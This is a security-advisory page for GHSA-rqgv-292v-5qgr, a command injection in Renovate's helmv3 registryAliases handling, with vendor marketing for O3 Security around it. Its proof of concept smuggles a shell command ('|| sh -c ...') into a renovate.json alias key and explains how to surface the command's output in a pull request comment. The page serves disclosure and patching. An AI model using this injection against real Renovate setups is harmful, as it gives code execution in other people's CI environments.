GHSA-rqgv-292v-5qgr is a medium-severity (CVSS 5.4) OS Command Injection vulnerability in renovate. A fix is available for renovate — see the affected versions and patch details below.
Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rqgv-292v-5qgr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
renovatenpmDescription
Summary
Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.
Details
Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.
PoC
Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:
test-chart/Chart.yaml:
apiVersion: v2
name: redis
version: 1.0.0
dependencies:
- name: redis
version: 18.13.10
repository: oci://registry-1.docker.io/bitnamicharts
test-chart/Chart.lock:
dependencies:
- name: redis
repository: oci://registry-1.docker.io/bitnamicharts
version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"
Then add the following renovate.json:
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:base"
],
"registryAliases": {
"foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
}
}
Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:
File name: test-chart/Chart.lock
Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments
Usage: helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
This shows that the ls command executed successfully, and we can even see its output.
Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.
Impact
All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | renovate | ≥ 37.158.0&&< 37.199.0 | 37.199.0npm install renovate@37.199.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update renovate to 37.199.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rqgv-292v-5qgr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rqgv-292v-5qgr can be triaged on real exposure rather than presence alone.
Tailored to GHSA-rqgv-292v-5qgr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rqgv-292v-5qgr in your dependencies?
O3 Security finds GHSA-rqgv-292v-5qgr across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.